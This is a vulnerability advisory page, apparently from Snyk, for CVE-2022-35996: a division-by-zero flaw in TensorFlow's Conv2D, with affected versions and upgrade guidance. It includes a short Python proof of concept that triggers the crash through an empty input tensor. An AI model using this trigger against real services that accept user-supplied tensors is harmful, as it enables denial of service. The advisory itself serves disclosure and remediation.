Division by zero Affecting tensorflow package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)
Threat Intelligence
EPSS
0.08% (37th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOW-3026788
- published 18 Sep 2022
- disclosed 18 Sep 2022
- credit Unknown
Introduced: 18 Sep 2022
CVE-2022-35996 Open this link in a new tabHow to fix?
Upgrade tensorflow to version 2.7.2, 2.8.1, 2.9.1 or higher.
Overview
tensorflow is a machine learning framework.
Affected versions of this package are vulnerable to Division by zero when Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros.
PoC:
import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
input = np.ones([1, 0, 2, 1])
filter = np.ones([1, 1, 1, 1])
strides = ([1, 1, 1, 1])
padding = "EXPLICIT"
explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
data_format = "NHWC"
res = tf.raw_ops.Conv2D(
input=input,
filter=filter,
strides=strides,
padding=padding,
explicit_paddings=explicit_paddings,
data_format=data_format,
)
References
CVSS Scores
version 3.1